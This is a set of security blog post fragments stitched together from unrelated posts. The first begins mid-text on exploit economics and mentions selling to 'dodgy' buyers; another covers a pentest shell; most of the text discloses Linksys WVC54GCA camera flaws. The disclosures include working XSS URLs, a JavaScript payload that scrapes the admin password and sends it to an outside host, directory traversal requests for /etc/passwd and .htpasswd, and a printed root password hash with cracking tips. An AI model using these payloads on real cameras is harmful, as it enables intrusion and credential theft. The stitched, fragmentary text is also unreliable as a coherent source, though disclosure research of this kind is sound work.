Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day memory corruption exploits a relative easy to detect. All you need is a crash caused by putting far too many 0×41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.

Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let’s do the maths:

# average exploit price: $5000
# number of people to hire: 5
# average monthly salary: $100
# job specs: write fuzzers

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work

Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.

Some Final Words

Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the hacker figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.

So, don’t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don’t jump onto the No free bugs! bandwagon.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The version inside the new code repository is very different from the version you’ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:

#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel

This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don’t have to learn a new programming language. Your bash skills are good for jeriko too.

Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.

Disclosure of Credentials in Client-side Source Code

As a consumer of embedded products, I find highly frustrating to see how many devices’ web interfaces return passwords back to the browser within HTML source code. I’ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.

Visiting the change admin password page:

/adm/file.cgi?next_file=pass_wd.htm

Causes the current admin password to be returned (just view the source code with your browser):

<input type="password" size="8" maxlength="64" name="admpw" value="C4mP4ssw0rd" onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

Visiting the "Wireless Security Page":

/adm/file.cgi?next_file=Wsecurity.htm

Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:

<input type="text" name="psk" size="24" maxlength="63" value="mywirelesskey">

Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).

Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.

In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses basic authentication which transmits credentials in the clear (base64 encoding) anyway.

In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.

So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.

Several XSS bugs

Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.

Boring PoCs:

/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E

/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e

XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.

As you can see in the first two XSS vulns, we use img tags, rather then script tags, due to closing script tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.

Admin Password theft XSS PoC

The following is the PoC exploit which steals the admin user's password.

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/\"/);	
			var gems="";
			for (i=0;i<bits.length;++i) { 
                                if(bits[i]=="adm" && bits[i+1]==" value=") {      
                               		gems+="login="; 
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {      
                                       	gems+='&password='; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	} 
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/evil.js%3e%3c/script%3e

If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:

Attack Requirements

In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to help users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use black hat SEO and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!

Testing Info

All Disclosure of Credentials and XSS vulnerabilities successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Unlike the previous two vulnerabilities I released, the vulnerabilities I’m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else’s camera.

Two directory traversal vulnerabilities

Today, instead of releasing just one vulnerability I’ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I’m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!

Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: /adm/file.cgi. Please note that these vulnerabilities are different to CVE-2004-2507/BID 10476 which affected /main.cgi instead.

1st directory traversal hole

It seems that the next_file parameter is not filtered enough when submitted to /adm/file.cgi, so that either of the following requests will return the content of any file whose location is known (/etc/passwd in this case):

/adm/file.cgi?next_file=%2fetc%2fpasswd

/adm/file.cgi?next_file=%2fetc/passwd

/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd

2nd directory traversal hole

In the case of the second directory traversal hole, the vulnerable parameter (this_file) is not filtered at all whatsoever. So hex-encoding special symbols is not required:

/adm/file.cgi?todo=pwnage&this_file=/etc/passwd

The following is the content of the Linux passwd file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening bin/busybox with any of the vulnerabilities previously discussed. I’m curious to know if the passwd file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:

root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh

Notice that when exploiting the first vulnerability, we need to convert forward slashes to %2f which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the next_file parameter. In the third example, we also partially hex-encode ../ sequences in order to avoid being blocked by the script which results in a forbidden error.

Needless to say, if the root password is not too strong you should be able to crack it using john or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I’m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.

Unfortunately, as I mentioned in the first post of these series, the WVC54GCA camera comes with a telnet daemon included, but it’s off by default. I haven’t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by modifying the bin firmware image and uploading it again.

What can we do with these vulnerabilities?

Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:

• /etc/passwd : traditional-DES-format password file with no salt
• /usr/local/www/img/.htpasswd : HTTP credentials stored in cleartext
• /usr/local/www/adm/.htpasswd : contains same data as previous file
• /etc/system.conf : all camera settings stored in cleartext including admin password, wifi encryption key, etc …
• /usr/local/bin/thttpd.conf : web server config file confirming the daemon runs as root, which is the only system account present anyway
• /etc/init.d/rcS : here we see the line that starts the telnet daemon (/usr/sbin/telnetd) commented out
• /etc/def_sys.conf : camera’s default settings
• /etc/system.conf : camera’s current settings
• /var/nc.log : network connections logs
• /etc/group
• /etc/inittab
• /proc/cpuinfo : processor details
• /proc/meminfo
• /proc/version : OS details
• /proc/uptime

Finding a file upload vulnerability should allow us to overwrite the /etc/init.d/rcS file and eventually manage to start the telnet server after reboot. By overwriting the /etc/passwd file with our own we should be able to add our own root password. Unfortunately, I haven’t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I’d love to hear the details.

Testing Info

Directory traversal vuln #1 successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

Directory traversal vuln #2 successfully tested on:

• WVC54GCA
• V1.00R24 (latest available as on 23rd April 2009)

Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.

Please note that the aforementioned vulnerabilities are different to BID 10476 which affected the /main.cgi program rather than /adm/file.cgi.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Privilege escalation via arbitrary file retrieval

The second vulnerability I’ll be releasing is an arbitrary(ish) file retrieval vulnerability. It’s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the admin account password.

The problem lies within the next_file parameter which is submitted to the main.cgi program. Although main.cgi does filter characters typically used in directory traversal sequences such as dots (.) and forward slashes (/), it seems that the developer didn’t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of .htpasswd a restricted user which only has permissions to access the video stream can access the credentials of the admin account and also the credentials of other restricted users (if applicable).

The only restriction that needs to be bypassed, is dots (.) symbols being filtered. i.e.: the following will not work and will result in a forbidden error:

/img/main.cgi?next_file=.htpasswd

But replacing the dot (.) symbol with its hexadecimal equivalent:

/img/main.cgi?next_file=%2ehtpasswd

Will result in the contents of .htpasswd being returned. i.e.:

admin:adminpassw0rd user1:pass1 user2:pass2

Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don’t need to authenticate). In this case, the admin user can click on the Users menu and tick the Only users in database option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:

Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.

Testing Info

Successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)

Please note that this vulnerability is different to BID 10476 which affected the /main.cgi program rather than /img/main.cgi.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores